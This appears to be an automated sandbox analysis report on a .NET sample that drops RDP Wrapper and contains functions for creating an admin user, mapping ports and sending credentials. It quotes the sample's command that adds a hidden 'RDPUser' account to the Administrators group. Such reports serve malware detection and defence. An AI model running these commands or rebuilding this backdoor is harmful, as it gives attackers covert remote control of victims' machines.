Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll	Jump to behavior

Source: C:\Users\user\Desktop\hloRQZmlfg.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

File written: C:\Program Files\RDP Wrapper\rdpwrap.ini

Jump to behavior

Source: C:\Users\user\Desktop\hloRQZmlfg.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper\rdpwrap.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper\rdpwrap.dll	Jump to behavior

Source: hloRQZmlfg.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: hloRQZmlfg.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.pdbIs>b source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.Xml.ni.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.ni.pdbRSDS source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002E09000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressedlB source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.DirectoryServices.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: costura.costura.pdb.compressed source: hloRQZmlfg.exe
Source:	Binary string: System.Configuration.ni.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: hloRQZmlfg.exe, 00000000.00000002.1921092597.00000000057A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rdpclip.pdb source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: RfxVmt.pdbGCTL source: RDPWInst.exe, 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr, rfxvmt.dll.8.dr
Source:	Binary string: System.DirectoryServices.ni.pdbRSDS source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.Configuration.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: \mscorlib.pdb source: hloRQZmlfg.exe, 00000000.00000002.1921092597.0000000005836000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.pdb source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, WER91CD.tmp.dmp.38.dr
Source:	Binary string: tem.pdb source: hloRQZmlfg.exe, 00000000.00000002.1921092597.0000000005836000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbX source: hloRQZmlfg.exe, 00000000.00000002.1921092597.00000000057A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.DirectoryServices.pdb4 source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.DirectoryServices.ni.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: mscorlib.pdb source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, WER91CD.tmp.dmp.38.dr
Source:	Binary string: rdpclip.pdbH source: RDPWInst.exe, 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.Management.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: rdpclip.pdbJ source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: mscorlib.ni.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.Management.ni.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: HPJo0C:\Windows\mscorlib.pdb source: hloRQZmlfg.exe, 00000000.00000002.1919019826.0000000000CF5000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: RfxVmt.pdb source: RDPWInst.exe, 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr, rfxvmt.dll.8.dr
Source:	Binary string: System.Core.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: <>c__DisplayClass0_0<>9__5_0<GetTotalDiskSpace>b__5_0<GenerateRandomPassword>b__0<>u__1IEnumerable`1Task`1TaskAwaiter`10xb11a1ToInt32<>u__2Func`2Dictionary`2ToInt64<Main>d__5get_UTF8<>9<Module><Main>U3lzdGVtSW5mb0FBQ2xpZW50QUFBUkRQSW5zdGFsbGVyQUFBUHJvZ3JhbUFBQXNzZW1ibHlMb2FkZXJBUkRQQ3JlYXRvcl9Qcm9jZXNzZWRCeUZvZHlBGetTotalRAMSystem.IOGetPublicIP_Costuracostura.metadatamscorlib<>cSystem.Collections.GenericDiscoverDeviceAsyncDownloadFileTaskAsyncCreatePortMapAsyncReadLoadAddisAttachedInterlockedcostura.costura.pdb.compressedcostura.costura.dll.compressedcostura.system.diagnostics.diagnosticsource.dll.compressedcostura.open.nat.dll.compressedget_ConnectedAwaitUnsafeOnCompletedget_IsCompletedSystem.Collections.SpecializedNewGuidReadToEndExecuteCommandcommandFindGenerateRandomPasswordpasswordReplaceGetTotalDiskSpaceNatDeviceCancellationTokenSourcesourceset_ModePaddingModeCompressionModeCipherModeRangeExchangenullCacheInvokeIEnumerableIDisposableget_AsyncWaitHandleDownloadFileGetOSNameGetGPUNameget_Nameget_MachineNamefullNameGetAdminGroupNameuserNameGetProcessorNameGetNamerequestedAssemblyNameusernameWaitOneCombineIAsyncStateMachineSetStateMachinestateMachineValueTypeSystem.CorecultureDisposeCreate<>1__stateWriteCompilerGeneratedAttributeDebuggableAttributeAsyncStateMachineAttributeTargetFrameworkAttributeDebuggerHiddenAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeset_UseShellExecuteByteTryGetValuedriveadd_AssemblyResolveRDPCreator.exeSystem.Threadingset_PaddingEncodingSystem.Runtime.VersioningMappingFromBase64StringDownloadStringCultureToStringGetStringSubstringAttachComputeHashzipPathGetTempPathpathget_LengthlengthEndsWithUriAsyncCallbacknullCacheLockTransformFinalBlockget_TaskProtocolzipUrlserverUrlurlReadStreamLoadStreamGetManifestResourceStreamDeflateStreamMemoryStreamstreamget_Itemset_ItemSystemSymmetricAlgorithmHashAlgorithmTrimRandomrandomICryptoTransformSumTimeSpanIsPortOpenget_ChildrenRDPCreator.cMainAppDomainget_CurrentDomainFodyVersionSystem.IO.CompressiondestinationSystem.GlobalizationSystem.ReflectionNameValueCollectionManagementObjectCollectionset_PositionSetExceptionStringComparisonusernamePatternpatternCopyToget_CultureInfoProcessStartInfoAddUserToAdminGroupAddUserToRemoteDesktopGroupSystem.LinqClearStreamReaderTextReaderMD5CryptoServiceProviderTripleDESCryptoServiceProviderAsyncTaskMethodBuilder<>t__buildersenderManagementObjectSearcherResolveEventHandlerPortMapperInstallRDPWrapperNatDiscovererCheckForRDPUserCreateAdminUserTaskAwaiterGetAwaiterEnterRDPCreator.ctor.cctorMonitorCreateDecryptorSystem.DiagnosticsFromMillisecondsSystem.Runtime.CompilerServicesSystem.DirectoryServicesReadFromEmbeddedResourcesDebuggingModesGetAssembliesDirectoryEntriesresourceNamessymbolNamesassemblyNamesGetBytesUploadValuesget_FlagsAssemblyNameFlagsResolveEventArgsargsSystem.Threading.TasksSendCredentialsEqualsContainsSystem.Collectionsget_CharsProcessSystem.Net.SocketsExistsOpen.NatConcatManagementBaseObjectManagementObjectSelectBegin
Source:	Binary string: costura.costura.pdb.compressed\|\|\|Costura.pdb\|6C6000A5EAF8579850AB82A89BD6268776EB51AD\|2608 source: hloRQZmlfg.exe
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: 00000000000000000400000000000000g.PDB source: hloRQZmlfg.exe, 00000000.00000002.1923069816.0000000006B90000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER91CD.tmp.dmp.38.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER91CD.tmp.dmp.38.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: hloRQZmlfg.exe, QXNzZW1ibHlMb2FkZXJB.cs

.Net Code: ReadFromEmbeddedResources System.Reflection.Assembly.Load(byte[])

Yara detected Costura Assembly Loader

Source: Yara match	File source: hloRQZmlfg.exe, type: SAMPLE
Source: Yara match	File source: 0.0.hloRQZmlfg.exe.880000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1405997855.0000000000882000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1919966763.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hloRQZmlfg.exe PID: 2444, type: MEMORYSTR

Source: hloRQZmlfg.exe

Static PE information: 0x84BB012B [Wed Jul 25 16:54:03 2040 UTC]

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_004430DC push 00443161h; ret	8_2_00443159
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_00439674 push ecx; mov dword ptr [esp], ecx	8_2_00439675
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_00420164 push 004201DAh; ret	8_2_004201D2
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_0040A178 push 0040A1E7h; ret	8_2_0040A1DF
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_00437134 push 00437201h; ret	8_2_004371F9
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_00443188 push 00443230h; ret	8_2_00443228
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_0043421C push ecx; mov dword ptr [esp], edx	8_2_0043421E
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_0044323C push 004432C7h; ret	8_2_004432BF
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_00437298 push 0043732Eh; ret	8_2_00437326
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_00437360 push 004373ADh; ret	8_2_004373A5
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_0043A3F8 push 0043A450h; ret	8_2_0043A448
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_004176D4 push 00417879h; ret	8_2_00417871
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_00421998 push 004219E5h; ret	8_2_004219DD
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_0042AA70 push ecx; mov dword ptr [esp], edx	8_2_0042AA75
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_0040CA10 push eax; retf 0040h	8_2_0040CA11
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_0042AAB4 push ecx; mov dword ptr [esp], edx	8_2_0042AAB9
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_00415C58 push ecx; mov dword ptr [esp], edx	8_2_00415C5D
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_0040EC80 push ecx; mov dword ptr [esp], ecx	8_2_0040EC85
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_00404E0C push eax; ret	8_2_00404E48
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_0043FE8C push 0043FEE0h; ret	8_2_0043FED8

Source: hloRQZmlfg.exe

Static PE information: section name: .text entropy: 7.703627501061181

Persistence and Installation Behavior

Adds a new user with administrator rights

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" RDPUser_1e47a393 /add
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" RDPUser_1e47a393 /add			Jump to behavior

